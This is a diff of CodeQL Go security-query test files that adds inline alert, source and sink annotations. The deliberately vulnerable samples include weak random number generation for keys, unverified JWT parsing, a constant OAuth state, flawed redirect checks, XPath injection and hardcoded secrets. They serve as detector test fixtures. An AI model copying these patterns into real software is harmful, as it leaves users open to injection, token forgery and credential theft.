a/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/InsecureRandomness.go b/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/InsecureRandomness.go index 2e4d309f46c..0dbc48b19d1 100644 --- a/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/InsecureRandomness.go +++ b/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/InsecureRandomness.go @@ -9,7 +9,7 @@ var charset = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012345 func generatePassword() string { s := make([]rune, 20) for i := range s { - s[i] = charset[rand.Intn(len(charset))] // BAD: weak RNG used to generate password + s[i] = charset[rand.Intn(len(charset))] // $ Alert // BAD: weak RNG used to generate password } return string(s) } diff --git a/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/InsecureRandomness.qlref b/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/InsecureRandomness.qlref index b30e6ede8ce..f148404a1c5 100644 --- a/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/InsecureRandomness.qlref +++ b/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/InsecureRandomness.qlref @@ -1,2 +1,4 @@ query: Security/CWE-338/InsecureRandomness.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/sample.go b/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/sample.go index 9eef81f63bb..3edbb67c42d 100644 --- a/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/sample.go +++ b/go/ql/test/query-tests/Security/CWE-338/InsecureRandomness/sample.go @@ -12,7 +12,7 @@ import ( ) func Guid() []byte { - hash := sha256.Sum256([]byte(fmt.Sprintf("%n", rand.Uint32()))) // OK: may not be used in a cryptographic setting + hash := sha256.Sum256([]byte(fmt.Sprintf("%n", rand.Uint32()))) // $ Source // OK: may not be used in a cryptographic setting return hash[:] } @@ -23,7 +23,7 @@ func createHash(key string) string { } func ed25519FromGuid() { - ed25519.NewKeyFromSeed(Guid()) // BAD: Guid internally uses rand + ed25519.NewKeyFromSeed(Guid()) // $ Alert // BAD: Guid internally uses rand } func encrypt(data []byte, password string) []byte { @@ -31,16 +31,16 @@ func encrypt(data []byte, password string) []byte { gcm, _ := cipher.NewGCM(block) nonce := make([]byte, gcm.NonceSize()) - random := rand.New(rand.NewSource(999)) + random := rand.New(rand.NewSource(999)) // $ Source io.ReadFull(random, nonce) - ciphertext := gcm.Seal(data[:0], nonce, data, nil) // BAD: use of an insecure rng to generate a nonce + ciphertext := gcm.Seal(data[:0], nonce, data, nil) // $ Alert // BAD: use of an insecure rng to generate a nonce return ciphertext } func makePasswordFiveChar() string { s := make([]rune, 5) - s[0] = charset[rand.Intn(len(charset))] // BAD: weak RNG used to generate salt + s[0] = charset[rand.Intn(len(charset))] // $ Alert // BAD: weak RNG used to generate salt s[1] = charset[rand.Intn(len(charset))] // Rest OK because only the first result is caught s[2] = charset[rand.Intn(len(charset))] s[3] = charset[rand.Intn(len(charset))] @@ -52,8 +52,8 @@ func generateRandomKey() ed25519.PrivateKey { candidates := "0123456789ABCDEF" seed := "" for i := 0; i < ed25519.SeedSize; i++ { - randNumber := rand.Intn(len(candidates)) + randNumber := rand.Intn(len(candidates)) // $ Source seed += string(candidates[randNumber]) } - return ed25519.NewKeyFromSeed([]byte(seed)) // BAD: seed candidates were selected with a weak RNG + return ed25519.NewKeyFromSeed([]byte(seed)) // $ Alert // BAD: seed candidates were selected with a weak RNG } diff --git a/go/ql/test/query-tests/Security/CWE-347/MissingJwtSignatureCheck.qlref b/go/ql/test/query-tests/Security/CWE-347/MissingJwtSignatureCheck.qlref index 404fe618edc..55524e6e0e6 100644 --- a/go/ql/test/query-tests/Security/CWE-347/MissingJwtSignatureCheck.qlref +++ b/go/ql/test/query-tests/Security/CWE-347/MissingJwtSignatureCheck.qlref @@ -1,2 +1,4 @@ query: Security/CWE-347/MissingJwtSignatureCheck.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-347/go-jose.v3.go b/go/ql/test/query-tests/Security/CWE-347/go-jose.v3.go index 3e55ced31f6..67ce9ed00ea 100644 --- a/go/ql/test/query-tests/Security/CWE-347/go-jose.v3.go +++ b/go/ql/test/query-tests/Security/CWE-347/go-jose.v3.go @@ -22,7 +22,7 @@ func jose(r *http.Request) { verifyJWT(signedToken) // NOT OK: no verification - signedToken = r.URL.Query().Get("signedToken") + signedToken = r.URL.Query().Get("signedToken") // $ Source notVerifyJWT(signedToken) } @@ -30,7 +30,7 @@ func notVerifyJWT(signedToken string) { fmt.Println("only decoding JWT") DecodedToken, _ := jwt.ParseSigned(signedToken) out := CustomerInfo{} - if err := DecodedToken.UnsafeClaimsWithoutVerification(&out); err != nil { + if err := DecodedToken.UnsafeClaimsWithoutVerification(&out); err != nil { // $ Alert panic(err) } fmt.Printf("%v\n", out) diff --git a/go/ql/test/query-tests/Security/CWE-347/golang-jwt-v5.go b/go/ql/test/query-tests/Security/CWE-347/golang-jwt-v5.go index e37265f03c0..82d6c764797 100644 --- a/go/ql/test/query-tests/Security/CWE-347/golang-jwt-v5.go +++ b/go/ql/test/query-tests/Security/CWE-347/golang-jwt-v5.go @@ -25,13 +25,13 @@ func golangjwt(r *http.Request) { verifyJWT_golangjwt(signedToken) // NOT OK: only unverified parse - signedToken = r.URL.Query().Get("signedToken") + signedToken = r.URL.Query().Get("signedToken") // $ Source notVerifyJWT_golangjwt(signedToken) } func notVerifyJWT_golangjwt(signedToken string) { fmt.Println("only decoding JWT") - DecodedToken, _, err := jwt.NewParser().ParseUnverified(signedToken, &CustomerInfo1{}) + DecodedToken, _, err := jwt.NewParser().ParseUnverified(signedToken, &CustomerInfo1{}) // $ Alert if claims, ok := DecodedToken.Claims.(*CustomerInfo1); ok { fmt.Printf("DecodedToken:%v\n", claims) } else { diff --git a/go/ql/test/query-tests/Security/CWE-352/ConstantOauth2State.go b/go/ql/test/query-tests/Security/CWE-352/ConstantOauth2State.go index 75f899aea51..817c76c8bfa 100644 --- a/go/ql/test/query-tests/Security/CWE-352/ConstantOauth2State.go +++ b/go/ql/test/query-tests/Security/CWE-352/ConstantOauth2State.go @@ -17,9 +17,9 @@ import ( func main() {} -const stateStringConst = "state" +const stateStringConst = "state" // $ Source -var stateStringVar = "state" +var stateStringVar = "state" // $ Source func badWithStringLiteralState(w http.ResponseWriter) { conf := &oauth2.Config{ @@ -32,7 +32,7 @@ func badWithStringLiteralState(w http.ResponseWriter) { }, } - url := conf.AuthCodeURL("state") // BAD + url := conf.AuthCodeURL("state") // $ Alert // BAD _ = url // ... } @@ -47,7 +47,7 @@ func badWithConstState(w http.ResponseWriter) { }, } - url := conf.AuthCodeURL(stateStringConst) // BAD + url := conf.AuthCodeURL(stateStringConst) // $ Alert // BAD _ = url // ... } @@ -62,7 +62,7 @@ func badWithFixedVarState(w http.ResponseWriter) { }, } - url := conf.AuthCodeURL(stateStringVar) // BAD + url := conf.AuthCodeURL(stateStringVar) // $ Alert // BAD _ = url // ... } @@ -78,12 +78,12 @@ func badWithFixedStateReturned(w http.ResponseWriter) { } state := newFixedState() - url := conf.AuthCodeURL(state) // BAD + url := conf.AuthCodeURL(state) // $ Alert // BAD _ = url // ... } func newFixedState() string { - return "state" + return "state" // $ Source } func betterWithVariableStateReturned(w http.ResponseWriter) { @@ -229,7 +229,7 @@ func badWithConstStatePrinter(w http.ResponseWriter) { }, } - url := conf.AuthCodeURL(stateStringConst) // BAD + url := conf.AuthCodeURL(stateStringConst) // $ Alert // BAD fmt.Printf("LOG: URL %v", url) // ... } diff --git a/go/ql/test/query-tests/Security/CWE-352/ConstantOauth2State.qlref b/go/ql/test/query-tests/Security/CWE-352/ConstantOauth2State.qlref index 7898f39d415..7d6cf646915 100644 --- a/go/ql/test/query-tests/Security/CWE-352/ConstantOauth2State.qlref +++ b/go/ql/test/query-tests/Security/CWE-352/ConstantOauth2State.qlref @@ -1 +1,2 @@ -Security/CWE-352/ConstantOauth2State.ql +query: Security/CWE-352/ConstantOauth2State.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/BadRedirectCheck.go b/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/BadRedirectCheck.go index 279e59c9cfb..74e7c7c1c33 100644 --- a/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/BadRedirectCheck.go +++ b/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/BadRedirectCheck.go @@ -1,7 +1,7 @@ package main -func sanitizeUrl(redir string) string { - if len(redir) > 0 && redir[0] == '/' { +func sanitizeUrl(redir string) string { // $ Source + if len(redir) > 0 && redir[0] == '/' { // $ Alert return redir } return "/" diff --git a/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/BadRedirectCheck.qlref b/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/BadRedirectCheck.qlref index fddee377510..59540d49a15 100644 --- a/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/BadRedirectCheck.qlref +++ b/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/BadRedirectCheck.qlref @@ -1,2 +1,4 @@ query: Security/CWE-601/BadRedirectCheck.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/cves.go b/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/cves.go index 42e8bab3452..01fc6553977 100644 --- a/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/cves.go +++ b/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/cves.go @@ -8,12 +8,12 @@ import ( // CVE-2018-15178 // Code from github.com/gogs/gogs func isValidRedirect(url string) bool { - return len(url) >= 2 && url[0] == '/' && url[1] != '/' // NOT OK + return len(url) >= 2 && url[0] == '/' && url[1] != '/' // $ Alert // NOT OK } -func alsoABadRedirect(url string, rw http.ResponseWriter, req *http.Request) { +func alsoABadRedirect(url string, rw http.ResponseWriter, req *http.Request) { // $ Source if isValidRedirect(url) { - http.Redirect(rw, req, url, 302) + http.Redirect(rw, req, url, 302) // $ Sink } } @@ -30,17 +30,17 @@ func alsoAGoodRedirect(url string, rw http.ResponseWriter, req *http.Request) { // CVE-2017-1000070 (both vulnerable!) // Code from github.com/bitly/oauth2_proxy func OAuthCallback(rw http.ResponseWriter, req *http.Request) { - redirect := req.Form.Get("state") - if !strings.HasPrefix(redirect, "/") { // NOT OK + redirect := req.Form.Get("state") // $ Source + if !strings.HasPrefix(redirect, "/") { // $ Alert // NOT OK redirect = "/" } - http.Redirect(rw, req, redirect, 302) + http.Redirect(rw, req, redirect, 302) // $ Sink } func OAuthCallback1(rw http.ResponseWriter, req *http.Request) { - redirect := req.Form.Get("state") - if !strings.HasPrefix(redirect, "/") || strings.HasPrefix(redirect, "//") { // NOT OK + redirect := req.Form.Get("state") // $ Source + if !strings.HasPrefix(redirect, "/") || strings.HasPrefix(redirect, "//") { // $ Alert // NOT OK redirect = "/" } - http.Redirect(rw, req, redirect, 302) + http.Redirect(rw, req, redirect, 302) // $ Sink } diff --git a/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/main.go b/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/main.go index beccc9a135d..f45653e0945 100644 --- a/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/main.go +++ b/go/ql/test/query-tests/Security/CWE-601/BadRedirectCheck/main.go @@ -7,8 +7,8 @@ import ( "strings" ) -func badRedirect(redirect string, rw http.ResponseWriter, req *http.Request) { - http.Redirect(rw, req, sanitizeUrl(redirect), 302) +func badRedirect(redirect string, rw http.ResponseWriter, req *http.Request) { // $ Source + http.Redirect(rw, req, sanitizeUrl(redirect), 302) // $ Sink } func goodRedirect(redirect string, rw http.ResponseWriter, req *http.Request) { @@ -22,16 +22,16 @@ func goodRedirect2(url string, rw http.ResponseWriter, req *http.Request) { func isValidRedir(redirect string) bool { switch { // Not OK: does not check for '/\' - case strings.HasPrefix(redirect, "/") && !strings.HasPrefix(redirect, "//"): + case strings.HasPrefix(redirect, "/") && !strings.HasPrefix(redirect, "//"): // $ Alert return true default: return false } } -func alsoABadRedirect1(url string, rw http.ResponseWriter, req *http.Request) { +func alsoABadRedirect1(url string, rw http.ResponseWriter, req *http.Request) { // $ Source if isValidRedir(url) { - http.Redirect(rw, req, url, 302) + http.Redirect(rw, req, url, 302) // $ Sink } } @@ -65,28 +65,28 @@ func goodRedirect4(url string, rw http.ResponseWriter, req *http.Request) { http.Redirect(rw, req, getTarget(url), 302) } -func getTarget1(redirect string) string { - if redirect[0] != '/' { +func getTarget1(redirect string) string { // $ Source + if redirect[0] != '/' { // $ Alert return "/" } return path.Clean(redirect) } -func badRedirect1(url string, rw http.ResponseWriter, req *http.Request) { - http.Redirect(rw, req, getTarget1(url), 302) +func badRedirect1(url string, rw http.ResponseWriter, req *http.Request) { // $ Source + http.Redirect(rw, req, getTarget1(url), 302) // $ Sink } func getTarget2(redirect string) string { u, _ := url.Parse(redirect) - if u.Path[0] != '/' { + if u.Path[0] != '/' { // $ Alert return "/" } - return u.Path + return u.Path // $ Source } func badRedirect2(url string, rw http.ResponseWriter, req *http.Request) { - http.Redirect(rw, req, getTarget2(url), 302) + http.Redirect(rw, req, getTarget2(url), 302) // $ Sink } diff --git a/go/ql/test/query-tests/Security/CWE-643/XPathInjection.go b/go/ql/test/query-tests/Security/CWE-643/XPathInjection.go index 50b130db91c..bb7a45ca99a 100644 --- a/go/ql/test/query-tests/Security/CWE-643/XPathInjection.go +++ b/go/ql/test/query-tests/Security/CWE-643/XPathInjection.go @@ -10,10 +10,10 @@ import ( func processRequest(r *http.Request, doc tree.Node) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source // BAD: User input used directly in an XPath expression - xPath := goxpath.MustParse("//users/user[login/text()='" + username + "']/home_dir/text()") + xPath := goxpath.MustParse("//users/user[login/text()='" + username + "']/home_dir/text()") // $ Alert unsafeRes, _ := xPath.ExecBool(doc) fmt.Println(unsafeRes) diff --git a/go/ql/test/query-tests/Security/CWE-643/XPathInjection.qlref b/go/ql/test/query-tests/Security/CWE-643/XPathInjection.qlref index e6a07d4a688..f3d92cc4c01 100644 --- a/go/ql/test/query-tests/Security/CWE-643/XPathInjection.qlref +++ b/go/ql/test/query-tests/Security/CWE-643/XPathInjection.qlref @@ -1,2 +1,4 @@ query: Security/CWE-643/XPathInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-643/tst.go b/go/ql/test/query-tests/Security/CWE-643/tst.go index d3fc98b41a7..cf15ceeb033 100644 --- a/go/ql/test/query-tests/Security/CWE-643/tst.go +++ b/go/ql/test/query-tests/Security/CWE-643/tst.go @@ -32,70 +32,70 @@ func main() {} func testAntchfxXpath(r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source // BAD: User input used directly in an XPath expression - _, _ = xpath.Compile("//users/user[login/text()='" + username + "']/home_dir/text()") - _, _ = xpath.CompileWithNS("//users/user[login/text()='"+username+"']/home_dir/text()", make(map[string]string)) - _ = xpath.MustCompile("//users/user[login/text()='" + username + "']/home_dir/text()") - _ = xpath.Select(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") + _, _ = xpath.Compile("//users/user[login/text()='" + username + "']/home_dir/text()") // $ Alert + _, _ = xpath.CompileWithNS("//users/user[login/text()='"+username+"']/home_dir/text()", make(map[string]string)) // $ Alert + _ = xpath.MustCompile("//users/user[login/text()='" + username + "']/home_dir/text()") // $ Alert + _ = xpath.Select(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert } func testAntchfxHtmlquery(r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source // BAD: User input used directly in an XPath expression - _ = htmlquery.Find(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") - _ = htmlquery.FindOne(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") - _, _ = htmlquery.Query(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") - _, _ = htmlquery.QueryAll(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") + _ = htmlquery.Find(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert + _ = htmlquery.FindOne(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert + _, _ = htmlquery.Query(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert + _, _ = htmlquery.QueryAll(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert } func testAntchfxXmlquery(r *http.Request, n *xmlquery.Node) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source // BAD: User input used directly in an XPath expression - _ = xmlquery.Find(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") - _ = xmlquery.FindOne(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") - xmlquery.FindEach(nil, "//users/user[login/text()='"+username+"']/home_dir/text()", nil) - xmlquery.FindEachWithBreak(nil, "//users/user[login/text()='"+username+"']/home_dir/text()", nil) - _, _ = xmlquery.Query(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") - _, _ = xmlquery.QueryAll(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") - _ = n.SelectElements("//users/user[login/text()='" + username + "']/home_dir/text()") - _ = n.SelectElement("//users/user[login/text()='" + username + "']/home_dir/text()") + _ = xmlquery.Find(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert + _ = xmlquery.FindOne(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert + xmlquery.FindEach(nil, "//users/user[login/text()='"+username+"']/home_dir/text()", nil) // $ Alert + xmlquery.FindEachWithBreak(nil, "//users/user[login/text()='"+username+"']/home_dir/text()", nil) // $ Alert + _, _ = xmlquery.Query(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert + _, _ = xmlquery.QueryAll(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert + _ = n.SelectElements("//users/user[login/text()='" + username + "']/home_dir/text()") // $ Alert + _ = n.SelectElement("//users/user[login/text()='" + username + "']/home_dir/text()") // $ Alert } func testAntchfxJsonquery(r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source // BAD: User input used directly in an XPath expression - _ = jsonquery.Find(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") - _ = jsonquery.FindOne(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") - _, _ = jsonquery.Query(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") - _, _ = jsonquery.QueryAll(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") + _ = jsonquery.Find(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert + _ = jsonquery.FindOne(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert + _, _ = jsonquery.Query(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert + _, _ = jsonquery.QueryAll(nil, "//users/user[login/text()='"+username+"']/home_dir/text()") // $ Alert } func testGoXmlpathXmlpath(r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source // BAD: User input used directly in an XPath expression - _, _ = xmlpath.Compile("//users/user[login/text()='" + username + "']/home_dir/text()") - _ = xmlpath.MustCompile("//users/user[login/text()='" + username + "']/home_dir/text()") + _, _ = xmlpath.Compile("//users/user[login/text()='" + username + "']/home_dir/text()") // $ Alert + _ = xmlpath.MustCompile("//users/user[login/text()='" + username + "']/home_dir/text()") // $ Alert } func testChrisTrenkampGoxpath(r *http.Request) { r.ParseForm() - username := r.Form.Get("username") - password := r.Form.Get("password") + username := r.Form.Get("username") // $ Source + password := r.Form.Get("password") // $ Source // BAD: User input used directly in an XPath expression - _, _ = goxpath.Parse("//users/user[login/text()='" + username + "' and password/text() = '" + password + "']/home_dir/text()") - _ = goxpath.MustParse("//users/user[login/text()='" + username + "' and password/text() = '" + password + "']/home_dir/text()") - _, _ = goxpath.ParseExec("//users/user[login/text()='"+username+"' and password/text() = '"+password+"']/home_dir/text()", nil) + _, _ = goxpath.Parse("//users/user[login/text()='" + username + "' and password/text() = '" + password + "']/home_dir/text()") // $ Alert + _ = goxpath.MustParse("//users/user[login/text()='" + username + "' and password/text() = '" + password + "']/home_dir/text()") // $ Alert + _, _ = goxpath.ParseExec("//users/user[login/text()='"+username+"' and password/text() = '"+password+"']/home_dir/text()", nil) // $ Alert // GOOD: Uses parameters to avoid including user input directly in XPath expression _ = goxpath.MustParse("//users/user[login/text()=$username and password/text() = $password]/home_dir/text()") @@ -103,24 +103,24 @@ func testChrisTrenkampGoxpath(r *http.Request) { func testSanthoshTekuriXpathparser(r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source // BAD: User input used directly in an XPath expression - _, _ = xpathparser.Parse("//users/user[login/text()='" + username + "']/home_dir/text()") - _ = xpathparser.MustParse("//users/user[login/text()='" + username + "']/home_dir/text()") + _, _ = xpathparser.Parse("//users/user[login/text()='" + username + "']/home_dir/text()") // $ Alert + _ = xpathparser.MustParse("//users/user[login/text()='" + username + "']/home_dir/text()") // $ Alert } func testJbowtieGokogiri(r *http.Request, n gokogiriXml.Node) { r.ParseForm() - username := r.Form.Get("username") - password := r.Form.Get("password") + username := r.Form.Get("username") // $ Source + password := r.Form.Get("password") // $ Source // BAD: User input used directly in an XPath expression - xpath := gokogiriXpath.Compile("//users/user[login/text()='" + username + "' and password/text() = '" + password + "']/home_dir/text()") - _, _ = n.Search("//users/user[login/text()='" + username + "' and password/text() = '" + password + "']/home_dir/text()") - _, _ = n.SearchWithVariables("//users/user[login/text()='"+username+"' and password/text() = '"+password+"']/home_dir/text()", nil) - _, _ = n.EvalXPath("//users/user[login/text()='"+username+"' and password/text() = '"+password+"']/home_dir/text()", nil) - _ = n.EvalXPathAsBoolean("//users/user[login/text()='"+username+"' and password/text() = '"+password+"']/home_dir/text()", nil) + xpath := gokogiriXpath.Compile("//users/user[login/text()='" + username + "' and password/text() = '" + password + "']/home_dir/text()") // $ Alert + _, _ = n.Search("//users/user[login/text()='" + username + "' and password/text() = '" + password + "']/home_dir/text()") // $ Alert + _, _ = n.SearchWithVariables("//users/user[login/text()='"+username+"' and password/text() = '"+password+"']/home_dir/text()", nil) // $ Alert + _, _ = n.EvalXPath("//users/user[login/text()='"+username+"' and password/text() = '"+password+"']/home_dir/text()", nil) // $ Alert + _ = n.EvalXPathAsBoolean("//users/user[login/text()='"+username+"' and password/text() = '"+password+"']/home_dir/text()", nil) // $ Alert // OK: Not flagged, since the creation of `xpath` is already flagged. _, _ = n.Search(xpath) @@ -136,12 +136,12 @@ func testJbowtieGokogiri(r *http.Request, n gokogiriXml.Node) { func testLestratGoLibxml2(r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source p := parser.New(parser.XMLParseNoEnt) // BAD: User input used directly in an XPath expression - _, _ = p.Parse([]byte("//users/user[login/text()='" + username + "']/home_dir/text()")) + _, _ = p.Parse([]byte("//users/user[login/text()='" + username + "']/home_dir/text()")) // $ Alert _, _ = p.ParseReader(strings.NewReader("//users/user[login/text()='" + username + "']/home_dir/text()")) - _, _ = p.ParseString("//users/user[login/text()='" + username + "']/home_dir/text()") + _, _ = p.ParseString("//users/user[login/text()='" + username + "']/home_dir/text()") // $ Alert } diff --git a/go/ql/test/query-tests/Security/CWE-798/AlertSuppressionExample.go b/go/ql/test/query-tests/Security/CWE-798/AlertSuppressionExample.go index c6cd369394f..938884f98df 100644 --- a/go/ql/test/query-tests/Security/CWE-798/AlertSuppressionExample.go +++ b/go/ql/test/query-tests/Security/CWE-798/AlertSuppressionExample.go @@ -8,7 +8,7 @@ func login(user, password string) bool { func TestLogin(t *testing.T) { user := "testuser" - password := "horsebatterystaplecorrect" // lgtm[go/hardcoded-credentials] + password := "horsebatterystaplecorrect" // $ Alert // lgtm[go/hardcoded-credentials] if !login(user, password) { t.Errorf("Login test failed.") } diff --git a/go/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.go b/go/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.go index 78d0603c2c3..8c3a96c941b 100644 --- a/go/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.go +++ b/go/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.go @@ -7,7 +7,7 @@ import ( const ( user = "dbuser" - password = "s3cretp4ssword" + password = "s3cretp4ssword" // $ Alert ) func connect() *sql.DB { diff --git a/go/ql/test/query-tests/Security/CWE-798/HardcodedKeysBad.go b/go/ql/test/query-tests/Security/CWE-798/HardcodedKeysBad.go index 2ffc46147f6..1c91a2b97b5 100644 --- a/go/ql/test/query-tests/Security/CWE-798/HardcodedKeysBad.go +++ b/go/ql/test/query-tests/Security/CWE-798/HardcodedKeysBad.go @@ -16,5 +16,5 @@ func bad() (interface{}, error) { } token := jwt.NewWithClaims(nil, claims) - return token.SignedString(mySigningKey) + return token.SignedString(mySigningKey) // $ Alert } diff --git a/go/ql/test/query-tests/Security/CWE-798/jwt.go b/go/ql/test/query-tests/Security/CWE-798/jwt.go index 560f95800df..f43749e6b4a 100644 --- a/go/ql/test/query-tests/Security/CWE-798/jwt.go +++ b/go/ql/test/query-tests/Security/CWE-798/jwt.go @@ -39,14 +39,14 @@ func gjwtt() (interface{}, error) { } token := gjwt.NewWithClaims(nil, claims) - return token.SignedString(mySigningKey) // BAD + return token.SignedString(mySigningKey) // $ Alert // BAD } func gin_jwt() (interface{}, error) { var identityKey = "id" return jwt.New(&jwt.GinJWTMiddleware{ Realm: "test zone", - Key: []byte("key2"), // BAD + Key: []byte("key2"), // $ Alert // BAD Timeout: time.Hour, MaxRefresh: time.Hour, IdentityKey: identityKey, @@ -65,12 +65,12 @@ func gin_jwt() (interface{}, error) { func cristalhq() (interface{}, error) { key := []byte(`key3`) - return cristal.NewSignerHS(cristal.HS256, key) // BAD + return cristal.NewSignerHS(cristal.HS256, key) // $ Alert // BAD } func josev3() (interface{}, error) { key := []byte("key4") - return jose_v3.NewSigner(jose_v3.SigningKey{Algorithm: "", Key: key}, nil) // BAD + return jose_v3.NewSigner(jose_v3.SigningKey{Algorithm: "", Key: key}, nil) // $ Alert // BAD } func josev3_2() (interface{}, error) { key2 := []byte("key5") @@ -78,7 +78,7 @@ func josev3_2() (interface{}, error) { "", jose_v3.Recipient{ Algorithm: "", - Key: key2, // BAD + Key: key2, // $ Alert // BAD }, nil) } @@ -88,14 +88,14 @@ func josev2() (interface{}, error) { return jose_v2.NewEncrypter( "", - jose_v2.Recipient{Algorithm: "", Key: key}, // BAD + jose_v2.Recipient{Algorithm: "", Key: key}, // $ Alert // BAD nil, ) } func jose_v2_2() (interface{}, error) { key2 := []byte("key7") - return jose_v2.NewSigner(jose_v2.SigningKey{Algorithm: "", Key: key2}, nil) // BAD + return jose_v2.NewSigner(jose_v2.SigningKey{Algorithm: "", Key: key2}, nil) // $ Alert // BAD } func go_kit() interface{} { @@ -106,24 +106,24 @@ func go_kit() interface{} { mapClaims = gjwt.MapClaims{"user": "go-kit"} ) - return gokit.NewSigner(kid, key, nil, mapClaims) // BAD + return gokit.NewSigner(kid, key, nil, mapClaims) // $ Alert // BAD } func lejwt() (interface{}, error) { sharedKey := []byte("key9") - return le.New(sharedKey) // BAD + return le.New(sharedKey) // $ Alert // BAD } var sharedKeyglobal = []byte("key10") func lejwt2() (interface{}, error) { - return le.New(sharedKeyglobal) // BAD + return le.New(sharedKeyglobal) // $ Alert // BAD } func gogfjwt() interface{} { return &gogf.GfJWTMiddleware{ Realm: "test zone", - Key: []byte("key11"), // BAD + Key: []byte("key11"), // $ Alert // BAD Timeout: time.Minute * 5, MaxRefresh: time.Minute * 5, IdentityKey: "id", @@ -140,7 +140,7 @@ func gogfjwt() interface{} { func irisjwt() interface{} { key := []byte("key12") token := iris.NewTokenWithClaims(nil, nil) - tokenString, _ := token.SignedString(key) // BAD + tokenString, _ := token.SignedString(key) // $ Alert // BAD return tokenString } @@ -149,7 +149,7 @@ func iris12jwt2() interface{} { s := &iris12.Signer{ Alg: nil, - Key: key, // BAD + Key: key, // $ Alert // BAD MaxAge: 3 * time.Second, } return s @@ -157,31 +157,31 @@ func iris12jwt2() interface{} { func irisjwt3() interface{} { key := []byte("key14") - signer := iris12.NewSigner(nil, key, 3*time.Second) // BAD + signer := iris12.NewSigner(nil, key, 3*time.Second) // $ Alert // BAD return signer } func katarasJwt() interface{} { key := []byte("key15") - token, _ := kataras.Sign(nil, key, nil, nil) // BAD + token, _ := kataras.Sign(nil, key, nil, nil) // $ Alert // BAD return token } func katarasJwt2() interface{} { key := []byte("key16") - token, _ := kataras.SignEncrypted(nil, key, nil, nil) // BAD + token, _ := kataras.SignEncrypted(nil, key, nil, nil) // $ Alert // BAD return token } func katarasJwt3() interface{} { key := []byte("key17") - token, _ := kataras.SignEncryptedWithHeader(nil, key, nil, nil, nil) // BAD + token, _ := kataras.SignEncryptedWithHeader(nil, key, nil, nil, nil) // $ Alert // BAD return token } func katarasJwt4() interface{} { key := []byte("key18") - token, _ := 